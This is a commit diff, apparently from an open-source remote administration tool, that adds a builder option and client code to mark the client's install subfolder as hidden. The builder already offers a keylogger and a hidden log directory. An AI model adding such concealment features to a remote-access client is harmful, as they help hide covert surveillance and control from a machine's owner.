Added option for hiding Install Subfolder #462

This commit is contained in:
Darius Costolas 2016-06-14 15:42:05 +03:00
parent eef7d258c2
commit de193764a6
6 changed files with 92 additions and 56 deletions

View File

@ -52,6 +52,7 @@ namespace xClient.Config
public static string TAG = "RELEASE";
public static string LOGDIRECTORYNAME = "Logs";
public static bool HIDELOGDIRECTORY = false;
public static bool HIDEINSTALLSUBFOLDER = false;
public static bool Initialize()
{

View File

@ -116,7 +116,18 @@ namespace xClient
{
}
}
if (Settings.INSTALL && Settings.HIDEINSTALLSUBFOLDER && !string.IsNullOrEmpty(Settings.SUBFOLDER))
{
try
{
DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
di.Attributes |= FileAttributes.Hidden;
}
catch (Exception)
{
}
}
if (Settings.ENABLELOGGER)
{
new Thread(() =>

View File

@ -94,6 +94,9 @@ namespace xServer.Core.Build
case 5: //HideLogDirectory
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory));
break;
case 6: // HideInstallSubdirectory
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideInstallSubdirectory));
break;
}
bools++;
}

View File

@ -22,5 +22,6 @@
public string[] AssemblyInformation { get; set; }
public string LogDirectoryName { get; set; }
public bool HideLogDirectory { get; set; }
public bool HideInstallSubdirectory { get; set; }
}
}

View File

@ -32,10 +32,6 @@
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmBuilder));
this.btnBuild = new System.Windows.Forms.Button();
this.tooltip = new System.Windows.Forms.ToolTip(this.components);
this.picUAC2 = new System.Windows.Forms.PictureBox();
this.picUAC1 = new System.Windows.Forms.PictureBox();
this.rbSystem = new System.Windows.Forms.RadioButton();
this.rbProgramFiles = new System.Windows.Forms.RadioButton();
this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components);
this.removeHostToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@ -77,8 +73,12 @@
this.label10 = new System.Windows.Forms.Label();
this.line4 = new xServer.Controls.Line();
this.label5 = new System.Windows.Forms.Label();
this.picUAC2 = new System.Windows.Forms.PictureBox();
this.picUAC1 = new System.Windows.Forms.PictureBox();
this.chkInstall = new System.Windows.Forms.CheckBox();
this.rbSystem = new System.Windows.Forms.RadioButton();
this.lblInstallname = new System.Windows.Forms.Label();
this.rbProgramFiles = new System.Windows.Forms.RadioButton();
this.txtInstallname = new System.Windows.Forms.TextBox();
this.txtRegistryKeyName = new System.Windows.Forms.TextBox();
this.lblExtension = new System.Windows.Forms.Label();
@ -124,8 +124,7 @@
this.line10 = new xServer.Controls.Line();
this.label14 = new System.Windows.Forms.Label();
this.chkKeylogger = new System.Windows.Forms.CheckBox();
((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit();
this.chkHideSubdirectory = new System.Windows.Forms.CheckBox();
this.contextMenuStrip.SuspendLayout();
this.builderTabs.SuspendLayout();
this.generalPage.SuspendLayout();
@ -133,6 +132,8 @@
((System.ComponentModel.ISupportInitialize)(this.numericUpDownPort)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).BeginInit();
this.installationPage.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit();
this.assemblyPage.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.iconPreview)).BeginInit();
this.surveillanceTab.SuspendLayout();
@ -148,54 +149,6 @@
this.btnBuild.UseVisualStyleBackColor = true;
this.btnBuild.Click += new System.EventHandler(this.btnBuild_Click);
//
// picUAC2
//
this.picUAC2.Image = global::xServer.Properties.Resources.uac_shield;
this.picUAC2.Location = new System.Drawing.Point(363, 88);
this.picUAC2.Name = "picUAC2";
this.picUAC2.Size = new System.Drawing.Size(16, 20);
this.picUAC2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
this.picUAC2.TabIndex = 32;
this.picUAC2.TabStop = false;
this.tooltip.SetToolTip(this.picUAC2, "Administrator Privileges are required to install the client in System.");
//
// picUAC1
//
this.picUAC1.Image = global::xServer.Properties.Resources.uac_shield;
this.picUAC1.Location = new System.Drawing.Point(363, 68);
this.picUAC1.Name = "picUAC1";
this.picUAC1.Size = new System.Drawing.Size(16, 20);
this.picUAC1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
this.picUAC1.TabIndex = 31;
this.picUAC1.TabStop = false;
this.tooltip.SetToolTip(this.picUAC1, "Administrator Privileges are required to install the client in Program Files.");
//
// rbSystem
//
this.rbSystem.AutoSize = true;
this.rbSystem.Location = new System.Drawing.Point(241, 91);
this.rbSystem.Name = "rbSystem";
this.rbSystem.Size = new System.Drawing.Size(60, 17);
this.rbSystem.TabIndex = 5;
this.rbSystem.TabStop = true;
this.rbSystem.Text = "System";
this.tooltip.SetToolTip(this.rbSystem, "Administrator Privileges are required to install the client in System.");
this.rbSystem.UseVisualStyleBackColor = true;
this.rbSystem.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
//
// rbProgramFiles
//
this.rbProgramFiles.AutoSize = true;
this.rbProgramFiles.Location = new System.Drawing.Point(241, 68);
this.rbProgramFiles.Name = "rbProgramFiles";
this.rbProgramFiles.Size = new System.Drawing.Size(94, 17);
this.rbProgramFiles.TabIndex = 4;
this.rbProgramFiles.TabStop = true;
this.rbProgramFiles.Text = "Program Files";
this.tooltip.SetToolTip(this.rbProgramFiles, "Administrator Privileges are required to install the client in Program Files.");
this.rbProgramFiles.UseVisualStyleBackColor = true;
this.rbProgramFiles.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
//
// contextMenuStrip
//
this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
@ -588,6 +541,7 @@
// installationPage
//
this.installationPage.BackColor = System.Drawing.SystemColors.Control;
this.installationPage.Controls.Add(this.chkHideSubdirectory);
this.installationPage.Controls.Add(this.line7);
this.installationPage.Controls.Add(this.label10);
this.installationPage.Controls.Add(this.line4);
@ -653,6 +607,28 @@
this.label5.TabIndex = 0;
this.label5.Text = "Installation Location";
//
// picUAC2
//
this.picUAC2.Image = global::xServer.Properties.Resources.uac_shield;
this.picUAC2.Location = new System.Drawing.Point(363, 88);
this.picUAC2.Name = "picUAC2";
this.picUAC2.Size = new System.Drawing.Size(16, 20);
this.picUAC2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
this.picUAC2.TabIndex = 32;
this.picUAC2.TabStop = false;
this.tooltip.SetToolTip(this.picUAC2, "Administrator Privileges are required to install the client in System.");
//
// picUAC1
//
this.picUAC1.Image = global::xServer.Properties.Resources.uac_shield;
this.picUAC1.Location = new System.Drawing.Point(363, 68);
this.picUAC1.Name = "picUAC1";
this.picUAC1.Size = new System.Drawing.Size(16, 20);
this.picUAC1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
this.picUAC1.TabIndex = 31;
this.picUAC1.TabStop = false;
this.tooltip.SetToolTip(this.picUAC1, "Administrator Privileges are required to install the client in Program Files.");
//
// chkInstall
//
this.chkInstall.AutoSize = true;
@ -664,6 +640,19 @@
this.chkInstall.UseVisualStyleBackColor = true;
this.chkInstall.CheckedChanged += new System.EventHandler(this.chkInstall_CheckedChanged);
//
// rbSystem
//
this.rbSystem.AutoSize = true;
this.rbSystem.Location = new System.Drawing.Point(241, 91);
this.rbSystem.Name = "rbSystem";
this.rbSystem.Size = new System.Drawing.Size(60, 17);
this.rbSystem.TabIndex = 5;
this.rbSystem.TabStop = true;
this.rbSystem.Text = "System";
this.tooltip.SetToolTip(this.rbSystem, "Administrator Privileges are required to install the client in System.");
this.rbSystem.UseVisualStyleBackColor = true;
this.rbSystem.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
//
// lblInstallname
//
this.lblInstallname.AutoSize = true;
@ -673,6 +662,19 @@
this.lblInstallname.TabIndex = 8;
this.lblInstallname.Text = "Install Name:";
//
// rbProgramFiles
//
this.rbProgramFiles.AutoSize = true;
this.rbProgramFiles.Location = new System.Drawing.Point(241, 68);
this.rbProgramFiles.Name = "rbProgramFiles";
this.rbProgramFiles.Size = new System.Drawing.Size(94, 17);
this.rbProgramFiles.TabIndex = 4;
this.rbProgramFiles.TabStop = true;
this.rbProgramFiles.Text = "Program Files";
this.tooltip.SetToolTip(this.rbProgramFiles, "Administrator Privileges are required to install the client in Program Files.");
this.rbProgramFiles.UseVisualStyleBackColor = true;
this.rbProgramFiles.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
//
// txtInstallname
//
this.txtInstallname.Location = new System.Drawing.Point(182, 153);
@ -1115,6 +1117,17 @@
this.chkKeylogger.UseVisualStyleBackColor = true;
this.chkKeylogger.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
//
// chkHideSubdirectory
//
this.chkHideSubdirectory.AutoSize = true;
this.chkHideSubdirectory.Location = new System.Drawing.Point(186, 185);
this.chkHideSubdirectory.Name = "chkHideSubdirectory";
this.chkHideSubdirectory.Size = new System.Drawing.Size(202, 17);
this.chkHideSubdirectory.TabIndex = 37;
this.chkHideSubdirectory.Text = "Set subfolder attributes to hidden";
this.chkHideSubdirectory.UseVisualStyleBackColor = true;
this.chkHideSubdirectory.CheckedChanged += new System.EventHandler(this.chkHideSubdirectory_CheckedChanged);
//
// FrmBuilder
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
@ -1133,8 +1146,6 @@
this.Text = "Client Builder";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmBuilder_FormClosing);
this.Load += new System.EventHandler(this.FrmBuilder_Load);
((System.ComponentModel.ISupportInitialize)(this.picUAC2)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.picUAC1)).EndInit();
this.contextMenuStrip.ResumeLayout(false);
this.builderTabs.ResumeLayout(false);
this.generalPage.ResumeLayout(false);
@ -1145,6 +1156,8 @@
((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).EndInit();
this.installationPage.ResumeLayout(false);
this.installationPage.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.picUAC2)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.picUAC1)).EndInit();
this.assemblyPage.ResumeLayout(false);
this.assemblyPage.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.iconPreview)).EndInit();
@ -1250,5 +1263,6 @@
private System.Windows.Forms.CheckBox chkHideLogDirectory;
private System.Windows.Forms.NumericUpDown numericUpDownDelay;
private System.Windows.Forms.NumericUpDown numericUpDownPort;
private System.Windows.Forms.CheckBox chkHideSubdirectory;
}
}

View File

@ -264,6 +264,7 @@ namespace xServer.Forms
options.Keylogger = chkKeylogger.Checked;
options.LogDirectoryName = txtLogDirectoryName.Text;
options.HideLogDirectory = chkHideLogDirectory.Checked;
options.HideInstallSubdirectory = chkHideSubdirectory.Checked;
if (options.Password.Length < 3)
{
@ -475,5 +476,10 @@ namespace xServer.Forms
RefreshPreviewPath();
}
private void chkHideSubdirectory_CheckedChanged(object sender, EventArgs e)
{
}
}
}